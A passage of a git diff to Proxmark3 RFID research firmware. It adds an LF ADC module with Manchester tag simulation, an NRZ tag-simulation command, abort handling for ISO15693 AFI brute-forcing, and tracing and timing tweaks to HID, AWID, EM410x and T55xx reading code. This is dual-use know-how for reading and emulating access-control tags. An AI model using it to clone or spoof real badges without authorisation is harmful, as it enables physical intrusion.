nacks recieved. should be only 1. if not its a clone card which always sends NACK (parity == 0) ? // i = number of authentications sent. Not always 256, since we are trying to sync but close to it. + FpgaDisableTracing(); uint8_t *data = BigBuf_malloc(4); data[0] = isOK; diff --git a/armsrc/iso14443a.h b/armsrc/iso14443a.h index 1bea3a1b9..33e5b2995 100644 --- a/armsrc/iso14443a.h +++ b/armsrc/iso14443a.h @@ -96,6 +96,9 @@ typedef struct { # define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len)) #endif +void iso14a_set_timeout(uint32_t timeout); +uint32_t iso14a_get_timeout(void); + void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par); tDemod14a *GetDemod14a(void); diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index 6f19def06..31f2cae58 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -635,7 +635,12 @@ void SimulateIso14443bTag(uint32_t pupi) { // find reader field if (cardSTATE == SIM_NOFIELD) { + +#if defined RDV4 + vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; +#else vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; +#endif if (vHf > MF_MINFIELDV) { cardSTATE = SIM_IDLE; LED_A_ON(); @@ -1165,6 +1170,9 @@ uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *r CodeAndTransmit14443bAsReader(message_frame, message_length + 4); //no // get response GetTagSamplesFor14443bDemod(); //no + + FpgaDisableTracing(); + if (Demod.len < 3) return 0; @@ -1191,6 +1199,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) { CodeAndTransmit14443bAsReader(init_srx, sizeof(init_srx)); GetTagSamplesFor14443bDemod(); //no + FpgaDisableTracing(); if (Demod.len == 0) return 2; @@ -1204,6 +1213,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) { CodeAndTransmit14443bAsReader(select_srx, sizeof(select_srx)); GetTagSamplesFor14443bDemod(); //no + FpgaDisableTracing(); if (Demod.len != 3) return 2; @@ -1222,6 +1232,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) { AddCrc14B(select_srx, 1); CodeAndTransmit14443bAsReader(select_srx, 3); // Only first three bytes for this one GetTagSamplesFor14443bDemod(); //no + FpgaDisableTracing(); if (Demod.len != 10) return 2; @@ -1253,6 +1264,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) { // first, wake up the tag CodeAndTransmit14443bAsReader(wupb, sizeof(wupb)); GetTagSamplesFor14443bDemod(); //select_card + FpgaDisableTracing(); // ATQB too short? if (Demod.len < 14) @@ -1277,6 +1289,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) { CodeAndTransmit14443bAsReader(attrib, sizeof(attrib)); GetTagSamplesFor14443bDemod();//select_card + FpgaDisableTracing(); // Answer to ATTRIB too short? if (Demod.len < 3) @@ -1353,6 +1366,7 @@ static bool ReadSTBlock(uint8_t block) { AddCrc14B(cmd, 2); CodeAndTransmit14443bAsReader(cmd, sizeof(cmd)); GetTagSamplesFor14443bDemod(); + FpgaDisableTracing(); // Check if we got an answer from the tag if (Demod.len != 6) { @@ -1602,7 +1616,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) { if ((param & ISO14B_SELECT_STD) == ISO14B_SELECT_STD) { iso14b_card_select_t *card = (iso14b_card_select_t *)buf; status = iso14443b_select_card(card); - reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen); + reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen); // 0: OK 2: attrib fail, 3:crc fail, if (status > 0) goto out; } @@ -1610,14 +1624,14 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) { if ((param & ISO14B_SELECT_SR) == ISO14B_SELECT_SR) { iso14b_card_select_t *card = (iso14b_card_select_t *)buf; status = iso14443b_select_srx_card(card); - reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen); + reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen); // 0: OK 2: demod fail, 3:crc fail, if (status > 0) goto out; } if ((param & ISO14B_APDU) == ISO14B_APDU) { status = iso14443b_apdu(cmd, len, buf); - reply_old(CMD_ACK, status, status, 0, buf, status); + reply_mix(CMD_ACK, status, status, 0, buf, status); } if ((param & ISO14B_RAW) == ISO14B_RAW) { @@ -1628,6 +1642,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) { CodeAndTransmit14443bAsReader(cmd, len); // raw GetTagSamplesFor14443bDemod(); // raw + FpgaDisableTracing(); sendlen = MIN(Demod.len, PM3_CMD_DATA_SIZE); status = (Demod.len > 0) ? 0 : 1; diff --git a/armsrc/iso15693.c b/armsrc/iso15693.c index f1fd3eb9c..7ea08e59c 100644 --- a/armsrc/iso15693.c +++ b/armsrc/iso15693.c @@ -929,6 +929,7 @@ void BruteforceIso15693Afi(uint32_t speed) { uint8_t buf[ISO15_MAX_FRAME]; memset(buf, 0x00, sizeof(buf)); int datalen = 0, recvlen = 0; + bool aborted = false; Iso15693InitReader(); @@ -966,7 +967,9 @@ void BruteforceIso15693Afi(uint32_t speed) { Dbprintf("AFI = %i UID = %s", i, sprintUID(NULL, buf + 2)); } - if (BUTTON_PRESS()) { + aborted = BUTTON_PRESS(); + + if (aborted) { DbpString("button pressed, aborting.."); break; } @@ -974,6 +977,12 @@ void BruteforceIso15693Afi(uint32_t speed) { DbpString("AFI Bruteforcing done."); switch_off(); + + if (aborted) { + reply_ng(CMD_ACK, PM3_EOPABORTED, NULL, 0); + } else { + reply_ng(CMD_ACK, PM3_SUCCESS, NULL, 0); + } } // Allows to directly send commands to the tag via the client diff --git a/armsrc/legicrfsim.h b/armsrc/legicrfsim.h index 3d25fae0c..f7be94165 100644 --- a/armsrc/legicrfsim.h +++ b/armsrc/legicrfsim.h @@ -14,6 +14,6 @@ #include "common.h" -void LegicRfSimulate(uint8_t tagtype); +void LegicRfSimulate(uint8_t cardtype); #endif /* __LEGICRFSIM_H */ diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c new file mode 100644 index 000000000..04f293e1d --- /dev/null +++ b/armsrc/lfadc.c @@ -0,0 +1,299 @@ +//----------------------------------------------------------------------------- +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// LF ADC read/write implementation +//----------------------------------------------------------------------------- + +#include "lfadc.h" +#include "lfsampling.h" +#include "fpgaloader.h" +#include "ticks.h" + +// Sam7s has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS_TIMER_DIV1_CLOCK) +// TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz +// Carrier periods (T0) have duration of 8 microseconds (us), which is 1/125000 per second +// T0 = TIMER_CLOCK1 / 125000 = 192 +//#define T0 192 + +// Sam7s has three counters, we will use the first TIMER_COUNTER_0 (aka TC0) +// using TIMER_CLOCK3 (aka AT91C_TC_CLKS_TIMER_DIV3_CLOCK) +// as a counting signal. TIMER_CLOCK3 = MCK/32, MCK is running at 48 MHz, so the timer is running at 48/32 = 1500 kHz +// Carrier period (T0) have duration of 8 microseconds (us), which is 1/125000 per second (125 kHz frequency) +// T0 = timer/carrier = 1500kHz/125kHz = 1500000/125000 = 6 +//#define HITAG_T0 3 + +////////////////////////////////////////////////////////////////////////////// +// Global variables +////////////////////////////////////////////////////////////////////////////// + +bool rising_edge = false; +bool logging = true; +bool reader_mode = false; + +////////////////////////////////////////////////////////////////////////////// +// Auxiliary functions +////////////////////////////////////////////////////////////////////////////// + +bool lf_test_periods(size_t expected, size_t count) { + // Compute 10% deviation (integer operation, so rounded down) + size_t diviation = expected / 10; + return ((count > (expected - diviation)) && (count < (expected + diviation))); +} + +////////////////////////////////////////////////////////////////////////////// +// Low frequency (LF) adc passthrough functionality +////////////////////////////////////////////////////////////////////////////// +uint8_t previous_adc_val = 0; + +size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { + size_t periods = 0; + volatile uint8_t adc_val; + //uint8_t avg_peak = 140, avg_through = 96; + // 140 - 127 - 114 + uint8_t avg_peak = 140, avg_through = 106; + int16_t checked = 0; + + while (!BUTTON_PRESS()) { + + // only every 100th times, in order to save time when collecting samples. + if (checked == 1000) { + if (data_available()) { + break; + } else { + checked = 0; + } + } + ++checked; + + WDT_HIT(); + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + adc_val = AT91C_BASE_SSC->SSC_RHR; + periods++; + + if (logging) logSampleSimple(adc_val); + + // Only test field changes if state of adc values matter + if (wait == false) { + // Test if we are locating a field modulation (100% ASK = complete field drop) + if (detect_gap) { + // Only return when the field completely dissapeared + if (adc_val == 0) { + return periods; + } + } else { + // Trigger on a modulation swap by observing an edge change + if (rising_edge) { + if ((previous_adc_val > avg_peak) && (adc_val <= previous_adc_val)) { + rising_edge = false; + return periods; + } + } else { + if ((previous_adc_val < avg_through) && (adc_val >= previous_adc_val)) { + rising_edge = true; + return periods; + } + } + } + } + + previous_adc_val = adc_val; + if (periods >= max) return 0; + } + } + if (logging) logSampleSimple(0xFF); + return 0; +} + +size_t lf_count_edge_periods(size_t max) { + return lf_count_edge_periods_ex(max, false, false); +} + +size_t lf_detect_gap(size_t max) { + return lf_count_edge_periods_ex(max, false, true); +} + +void lf_reset_counter() { + // TODO: find out the correct reset settings for tag and reader mode + if (reader_mode) { + // Reset values for reader mode + rising_edge = false; + previous_adc_val = 0xFF; + } else { + // Reset values for tag/transponder mode + rising_edge = false; + previous_adc_val = 0xFF; + } +} + +bool lf_get_tag_modulation() { + return (rising_edge == false); +} +bool lf_get_reader_modulation() { + return rising_edge; +} + +void lf_wait_periods(size_t periods) { + lf_count_edge_periods_ex(periods, true, false); +} + +void lf_init(bool reader, bool simulate) { + + StopTicks(); + + reader_mode = reader; + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + if (reader) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + } else { + if (simulate) +// FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC); + else + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC); + + } + + // Connect the A/D to the peak-detected low-frequency path. + SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + + // Now set up the SSC to get the ADC samples that are now streaming at us. + FpgaSetupSsc(); + + // When in reader mode, give the field a bit of time to settle. + // 313T0 = 313 * 8us = 2504us = 2.5ms Hitag2 tags needs to be fully powered. + if (reader) { + // 50 ms + SpinDelay(50); + } + + // Steal this pin from the SSP (SPI communication channel with fpga) and use it to control the modulation + AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; + LOW(GPIO_SSC_DOUT); + + // Enable peripheral Clock for TIMER_CLOCK 0 + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0); + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK; + + // Enable peripheral Clock for TIMER_CLOCK 1 + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK; + + // Clear all leds + LEDsoff(); + + // Reset and enable timers + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + // Prepare data trace + uint32_t bufsize = 20000; + + // use malloc + if (logging) initSampleBufferEx(&bufsize, true); + + sample_config *sc = getSamplingConfig(); + sc->decimation = 1; + sc->averaging = 0; +} + +void lf_finalize() { + // Disable timers + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + + // return stolen pin to SSP + AT91C_BASE_PIOA->PIO_PDR = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_ASR = GPIO_SSC_DIN | GPIO_SSC_DOUT; + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + LEDsoff(); + + sample_config *sc = getSamplingConfig(); + sc->decimation = 1; + sc->averaging = 0; + + StartTicks(); +} + +size_t lf_detect_field_drop(size_t max) { + size_t periods = 0; + volatile uint8_t adc_val; + int16_t checked = 0; + + while (!BUTTON_PRESS()) { + + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (data_available()) { + checked = -1; + break; + } else { + checked = 0; + } + } + ++checked; + + WDT_HIT(); + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + periods++; + adc_val = AT91C_BASE_SSC->SSC_RHR; + + if (logging) logSampleSimple(adc_val); + + if (adc_val == 0) { + rising_edge = false; + return periods; + } + + if (periods == max) return 0; + } + } + return 0; +} + +void lf_modulation(bool modulation) { + if (modulation) { + HIGH(GPIO_SSC_DOUT); + } else { + LOW(GPIO_SSC_DOUT); + } +} + +// simulation +static void lf_manchester_send_bit(uint8_t bit) { + lf_modulation(bit != 0); + lf_wait_periods(16); + lf_modulation(bit == 0); + lf_wait_periods(16); +} + +// simulation +bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len) { + + LED_B_ON(); + + lf_manchester_send_bit(1); + lf_manchester_send_bit(1); + lf_manchester_send_bit(1); + lf_manchester_send_bit(1); + lf_manchester_send_bit(1); + + // Send the content of the frame + for (size_t i = 0; i < frame_len; i++) { + lf_manchester_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); + } + + LED_B_OFF(); + return true; +} diff --git a/armsrc/lfadc.h b/armsrc/lfadc.h new file mode 100644 index 000000000..8c33aa778 --- /dev/null +++ b/armsrc/lfadc.h @@ -0,0 +1,36 @@ +//----------------------------------------------------------------------------- +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// LF ADC read/write implementation +//----------------------------------------------------------------------------- + +#ifndef __LFADC_H__ +#define __LFADC_H__ + +#include "proxmark3_arm.h" +#include "common.h" +#include "cmd.h" +#include "util.h" +#include "string.h" + +extern bool logging; + +bool lf_test_periods(size_t expected, size_t count); +size_t lf_count_edge_periods(size_t max); +size_t lf_detect_gap(size_t max); +void lf_reset_counter(); + +bool lf_get_tag_modulation(); +bool lf_get_reader_modulation(); + +void lf_wait_periods(size_t periods); +//void lf_init(bool reader); +void lf_init(bool reader, bool simulate); +void lf_finalize(); +size_t lf_detect_field_drop(size_t max); +bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len); +void lf_modulation(bool modulation); + +#endif // __LFADC_H__ diff --git a/armsrc/lfops.c b/armsrc/lfops.c index 8aa86a43b..b7b928ff2 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -52,11 +52,11 @@ SAM7S has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz New timer implemenation in ticks.c, which is used in LFOPS.c - 1us = 1.5ticks - 1fc = 8us = 12ticks + 1 μs = 1.5 ticks + 1 fc = 8 μs = 12 ticks Terms you find in different datasheets and how they match. -1 Cycle = 8 microseconds(us) == 1 field clock (fc) +1 Cycle = 8 microseconds (μs) == 1 field clock (fc) Note about HITAG timing Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier) @@ -135,19 +135,30 @@ Initial values if not in flash RG = Read gap Explainations for array T55xx_Timing below - SG WG Bit 0/00 Bit 1/01 Bit 10 Bit 11 RG + + 0 1 2 3 + SG WG Bit 00 Bit 01 Bit 10 Bit 11 RG -------------------------------------------------------------------- { 29 , 17 , 15 , 47 , 0 , 0 , 15 }, // Default Fixed - { 31 , 20 , 18 , 50 , 0 , 0 , 15 }, // Long Leading Ref. - { 31 , 20 , 18 , 40 , 0 , 0 , 15 }, // Leading 0 + { 29 , 17 , 15 , 50 , 0 , 0 , 15 }, // Long Leading Ref. + { 29 , 17 , 15 , 40 , 0 , 0 , 15 }, // Leading 0 { 29 , 17 , 15 , 31 , 47 , 63 , 15 } // 1 of 4 */ t55xx_configurations_t T55xx_Timing = { { +#ifdef WITH_FLASH +// PM3RDV4 { 29 * 8, 17 * 8, 15 * 8, 47 * 8, 15 * 8, 0, 0 }, // Default Fixed + { 29 * 8, 17 * 8, 15 * 8, 47 * 8, 15 * 8, 0, 0 }, // Long Leading Ref. + { 29 * 8, 17 * 8, 15 * 8, 40 * 8, 15 * 8, 0, 0 }, // Leading 0 + { 29 * 8, 17 * 8, 15 * 8, 31 * 8, 15 * 8, 47 * 8, 63 * 8 } // 1 of 4 +#else +// PM3OTHER or like offical repo + { 31 * 8, 20 * 8, 18 * 8, 50 * 8, 15 * 8, 0, 0 }, // Default Fixed { 31 * 8, 20 * 8, 18 * 8, 50 * 8, 15 * 8, 0, 0 }, // Long Leading Ref. { 31 * 8, 20 * 8, 18 * 8, 40 * 8, 15 * 8, 0, 0 }, // Leading 0 - { 29 * 8, 17 * 8, 15 * 8, 31 * 8, 15 * 8, 47 * 8, 63 * 8 } // 1 of 4 + { 31 * 8, 20 * 8, 18 * 8, 34 * 8, 15 * 8, 50 * 8, 66 * 8 } // 1 of 4 +#endif } }; @@ -435,7 +446,7 @@ void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint } else { // if field already on leave alone (affects timing otherwise) if (off) { - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); LED_D_ON(); off = false; } @@ -459,10 +470,10 @@ void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint FpgaSendCommand(FPGA_CMD_SET_DIVISOR, sc->divisor); } - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); // now do the read - DoAcquisition_config(false, 0); + DoAcquisition_config(true, 0); // Turn off antenna FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); @@ -1138,7 +1149,7 @@ static void pskSimBit(uint8_t waveLen, int *n, uint8_t clk, uint8_t *curPhase, b } // args clock, carrier, invert, -void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol) { +void CmdPSKsimTAG(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol) { FpgaDownloadAndGo(FPGA_BITSTREAM_LF); set_tracing(false); @@ -1162,6 +1173,55 @@ void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, u reply_ng(CMD_LF_PSK_SIMULATE, PM3_EOPABORTED, NULL, 0); } +// compose nrz waveform for one bit(NRZ) +static void nrzSimBit(uint8_t c, int *n, uint8_t clock) { + uint8_t *dest = BigBuf_get_addr(); +// uint8_t halfClk = clock / 2; + // c = current bit 1 or 0 + memset(dest + (*n), c, clock); + *n += clock; +} + +// args clock, +void CmdNRZsimTAG(uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol) { + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + set_tracing(false); + + int n = 0, i = 0; + + // NRZ + + leadingZeroAskSimBits(&n, clk); + + for (i = 0; i < size; i++) { + nrzSimBit(bits[i] ^ invert, &n, clk); + } + + if (bits[0] == bits[size - 1]) { + for (i = 0; i < size; i++) { + nrzSimBit(bits[i] ^ invert ^ 1, &n, clk); + } + } + + if (separator == 1) + Dbprintf("sorry but separator option not yet available"); + + WDT_HIT(); + + Dbprintf("Simulating with clk: %d, invert: %d, separator: %d, n: %d" + , clk + , invert + , separator + , n + ); + + if (ledcontrol) LED_A_ON(); + SimulateTagLowFrequency(n, 0, ledcontrol); + if (ledcontrol) LED_A_OFF(); + reply_ng(CMD_LF_NRZ_SIMULATE, PM3_EOPABORTED, NULL, 0); +} + // loop to get raw HID waveform then FSK demodulate the TAG ID from it void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { uint8_t *dest = BigBuf_get_addr(); @@ -1179,7 +1239,7 @@ void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) WDT_HIT(); if (ledcontrol) LED_A_ON(); - DoAcquisition_default(-1, true); + DoAcquisition_default(-1, false); // FSK demodulator size = 50 * 128 * 2; //big enough to catch 2 sequences of largest format int idx = HIDdemodFSK(dest, &size, &hi2, &hi, &lo, &dummyIdx); @@ -1231,7 +1291,7 @@ void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) cardnum = (lo >> 1) & 0x7FFFF; fac = ((hi & 0xF) << 12) | (lo >> 20); } - Dbprintf("TAG ID: %x%08x (%d) - Format Len: %dbit - FC: %d - Card: %d", + Dbprintf("TAG ID: " _YELLOW_("%x%08x (%d)") "- Format Len: " _YELLOW_("%d") "bit - FC: " _YELLOW_("%d") "- Card: "_YELLOW_("%d"), hi, lo, (lo >> 1) & 0xFFFF, @@ -1258,10 +1318,7 @@ void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { uint8_t *dest = BigBuf_get_addr(); - - //big enough to catch 2 sequences of largest format but don't exeed whats available in bigbuff. - size_t size = MIN(12800, BigBuf_max_traceLen()); //50 * 128 * 2; - + size_t size; int dummyIdx = 0; BigBuf_Clear_keep_EM(); @@ -1273,13 +1330,12 @@ void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) WDT_HIT(); if (ledcontrol) LED_A_ON(); - DoAcquisition_default(-1, true); + DoAcquisition_default(-1, false); // FSK demodulator - size = BigBuf_max_traceLen(); - //askdemod and manchester decode - if (size > 12800) size = 12800; //big enough to catch 2 sequences of largest format + size = MIN(12800, BigBuf_max_traceLen()); + //askdemod and manchester decode int idx = detectAWID(dest, &size, &dummyIdx); if (idx <= 0 || size != 96) continue; @@ -1365,11 +1421,11 @@ void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol) WDT_HIT(); if (ledcontrol) LED_A_ON(); - DoAcquisition_default(-1, true); + DoAcquisition_default(-1, false); + + size = MIN(16385, BigBuf_max_traceLen()); - size = BigBuf_max_traceLen(); //askdemod and manchester decode - if (size > 16385) size = 16385; //big enough to catch 2 sequences of largest format int errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1); WDT_HIT(); @@ -1430,13 +1486,11 @@ void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { WDT_HIT(); if (ledcontrol) LED_A_ON(); - DoAcquisition_default(-1, true); + DoAcquisition_default(-1, false); + + size = MIN(12000, BigBuf_max_traceLen()); //fskdemod and get start index - size = BigBuf_max_traceLen(); - //askdemod and manchester decode - if (size > 12000) size = 12000; //big enough to catch 2 sequences of largest format - int idx = detectIOProx(dest, &size, &dummyIdx); if (idx < 0) continue; //valid tag found @@ -1513,7 +1567,7 @@ void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { */ void TurnReadLFOn(uint32_t delay) { - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); // measure antenna strength. //int adcval = ((MAX_ADC_LF_VOLTAGE * AvgAdc(ADC_CHAN_LF)) >> 10); @@ -1718,7 +1772,7 @@ void T55xxResetRead(uint8_t flags) { TurnReadLFOn(T55xx_Timing.m[downlink_mode].read_gap); // Acquisition - DoPartialAcquisition(0, true, BigBuf_max_traceLen(), 0); + DoPartialAcquisition(0, false, BigBuf_max_traceLen(), 0); // Turn the field off FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); @@ -1815,7 +1869,7 @@ void T55xxWriteBlock(uint8_t *data) { // response should be (for t55x7) a 0 bit then (ST if on) // block data written in on repeat until reset. - //DoPartialAcquisition(20, true, 12000); + //DoPartialAcquisition(20, false, 12000); } // turn field off FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); @@ -1876,7 +1930,7 @@ bool brute_mem = (flags & 0x0100) >> 8; // Acquisition // Now do the acquisition - DoPartialAcquisition(0, true, samples, 0); + DoPartialAcquisition(0, false, samples, 0); // Turn the field off if (!brute_mem) { @@ -1936,7 +1990,7 @@ void T55xxReadBlock(uint8_t page, bool pwd_mode, bool brute_mem, uint8_t block, // Acquisition // Now do the acquisition - DoPartialAcquisition(0, true, samples, 0); + DoPartialAcquisition(0, false, samples, 0); // Turn the field off if (!brute_mem) { @@ -2393,7 +2447,7 @@ void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd) { WaitUS(400); - DoPartialAcquisition(20, true, 6000, 1000); + DoPartialAcquisition(20, false, 6000, 1000); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); reply_ng(CMD_LF_EM4X_READWORD, PM3_SUCCESS, NULL, 0); @@ -2426,7 +2480,7 @@ void EM4xWriteWord(uint8_t addr, uint32_t data, uint32_t pwd, uint8_t usepwd) { //Wait 20ms for write to complete? WaitMS(7); - DoPartialAcquisition(20, true, 6000, 1000); + DoPartialAcquisition(20, false, 6000, 1000); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); reply_ng(CMD_LF_EM4X_WRITEWORD, PM3_SUCCESS, NULL, 0); @@ -2471,7 +2525,7 @@ void Cotag(uint32_t arg0) { # define OFF(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); WaitUS((x)); } #endif #ifndef ON -# define ON(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); WaitUS((x)); } +# define ON(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); WaitUS((x)); } #endif uint8_t rawsignal = arg0 & 0xF; @@ -2496,7 +2550,7 @@ void Cotag(uint32_t arg0) { doCotagAcquisitionManchester(); break; case 2: - DoAcquisition_config(true, 0); + DoAcquisition_config(false, 0); break; } diff --git a/armsrc/lfops.h b/armsrc/lfops.h index f81d1e7ab..b697cffd1 100644 --- a/armsrc/lfops.h +++ b/armsrc/lfops.h @@ -36,7 +36,8 @@ void CmdHIDsimTAG(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool void CmdFSKsimTAGEx(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol, int numcycles); void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol); void CmdASKsimTAG(uint8_t encoding, uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); -void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); +void CmdPSKsimTAG(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); +void CmdNRZsimTAG(uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); // Realtime demodulation mode for AWID26 diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index 48a3f0d97..c492a4eda 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -15,6 +15,7 @@ #include "dbprint.h" #include "util.h" #include "lfdemod.h" +#include "string.h" // memset /* Default LF config is set to: @@ -32,7 +33,7 @@ void printConfig() { uint32_t d = config.divisor; DbpString(_BLUE_("LF Sampling config")); Dbprintf(" [q] divisor.............%d ( "_GREEN_("%d.%02d kHz")")", d, 12000 / (d + 1), ((1200000 + (d + 1) / 2) / (d + 1)) - ((12000 / (d + 1)) * 100)); - Dbprintf(" [b] bps.................%d", config.bits_per_sample); + Dbprintf(" [b] bits per sample.....%d", config.bits_per_sample); Dbprintf(" [d] decimation..........%d", config.decimation); Dbprintf(" [a] averaging...........%s", (config.averaging) ? "Yes" : "No"); Dbprintf(" [t] trigger threshold...%d", config.trigger_threshold); @@ -41,25 +42,40 @@ void printConfig() { /** * Called from the USB-handler to set the sampling configuration - * The sampling config is used for std reading and sniffing. + * The sampling config is used for standard reading and sniffing. * * Other functions may read samples and ignore the sampling config, * such as functions to read the UID from a prox tag or similar. * - * Values set to '0' implies no change (except for averaging) + * Values set to '-1' implies no change * @brief setSamplingConfig * @param sc */ void setSamplingConfig(sample_config *sc) { - if (sc->divisor != 0) config.divisor = sc->divisor; - if (sc->bits_per_sample != 0) config.bits_per_sample = sc->bits_per_sample; - if (sc->trigger_threshold != -1) config.trigger_threshold = sc->trigger_threshold; -// if (sc->samples_to_skip == 